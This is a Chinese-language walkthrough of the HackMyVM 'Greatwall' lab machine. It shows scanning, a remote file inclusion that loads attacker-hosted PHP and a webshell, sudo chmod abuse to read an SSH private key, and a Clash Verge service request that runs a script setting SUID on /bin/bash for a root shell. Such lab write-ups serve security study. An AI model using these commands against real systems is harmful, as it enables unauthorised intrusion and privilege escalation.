Greatwall
项目地址:https://downloads.hackmyvm.eu/unbakedpie.zip
是一个打包好的镜像文件
注意:导入 ova 时一定要选择我已移动,否则没网
使用 Nmap 扫描出开放服务及操作系统版本

远程文件包含
Hello World
只有 22 端口以及 80 端口,开放的服务是 SSH 以及 Apache
第一种渗透思路是爆破 SSH,但是机会渺茫
第二种是访问对应 Web 从而寻找机会

扫描后台无果
1 | dirb http://192.168.41.199/ |

只能从网站功能入手了,提示 https:// ,输入百度链接无果,但是注意到 URL 参数变化

看到 https/http 应该要想到可能存在哪些漏洞,如 URL 重定向、SSRF、RFI
换成伪协议证实存在漏洞

因为我们的目标是拿到 root 权限,所以要想怎么 RCE,常规 SSRF 造成 RCE 是因为对方有 Redis 未授权
显然这个靶标的 /etc/passwd 并没有 Redis 用户,并且网站是用 PHP 写的(参考上面后台扫描结果)
那么这里的考点应该是和 PHP 相关的漏洞,仔细思考之前的 TOP10,应该能想到可以 RCE 的漏洞有 SQL 注入、RCE、文件包含
这个页面中肯定不存在 SQL 注入以及 RCE 的,那么只能从文件包含入手
文件包含分为远程和本地两种,本地就不说了,我们不知道它网站上有什么(加上之前也没扫出来其他 PHP 文件)
那么只剩下远程包含了,准备 PHP 文件
1 | phpinfo(); |

使用 Python 开启一个简易的 HTTP 服务,最好在 80 端口(踩坑点:别的端口没反应是因为流量不出站设置了 iptables,自行了解)
1 | python -m http.server 80 |

包含成功!!!

修改为一句话木马,测试也可以

使用蚁剑连接

提权
/etc/sudoers 配置不当
我们发现当前用户 www-data 可以通过 sudo 以 wall 用户的身份执行 chmod 命令

chmod 提权
我们可以利用这个权限来修改 wall 用户家目录的权限,从而读取其 SSH 私钥
1 | sudo -u wall chmod 777 /home/wall/ |

拿到第一个 flag

修改 .ssh 目录权限
1 | sudo -u wall chmod 777 .ssh |

修改权限并读取 id_rsa 密钥
1 | sudo -u wall chmod 700 id_rsa |

将复制的私钥保存在 Kali 攻击机本地(例如 /tmp/id_rsa),赋予 600 权限

恢复靶机的所有权限
1 | sudo -u wall chmod 700 id_rsa |
然后使用该私钥以 wall 用户身份 SSH 登录目标主机
1 | ssh -i id_rsa wall@192.168.41.199 |

Clash Verge 提权
检查 wall 用户权限发现可以使用 start clash-verge-service

搜索历史漏洞找到一个关于提权的 POC
在 /tmp 目录下创建一个脚本 exp.sh,其功能是为 /bin/bash 添加 SUID 权限位,并赋予其执行权限
1 |
|

启动 Clash-Verge 服务
1 | sudo /usr/bin/systemctl start clash-verge-service |
根据文章内容构造 Payload
1 | curl -X POST 'http://127.0.0.1:33211/start_clash' -H "Content-Type: application/json" -d '{"bin_path": "/tmp/exp.sh", "config_dir": "", "config_file": "", "log_file": "/dev/null"}' |
执行后检查权限可以看到已经添加了 SUID 位,此时执行 bash -p 即可获得一个 euid 为 root 的 Shell

成功拿到 root 用户 flag
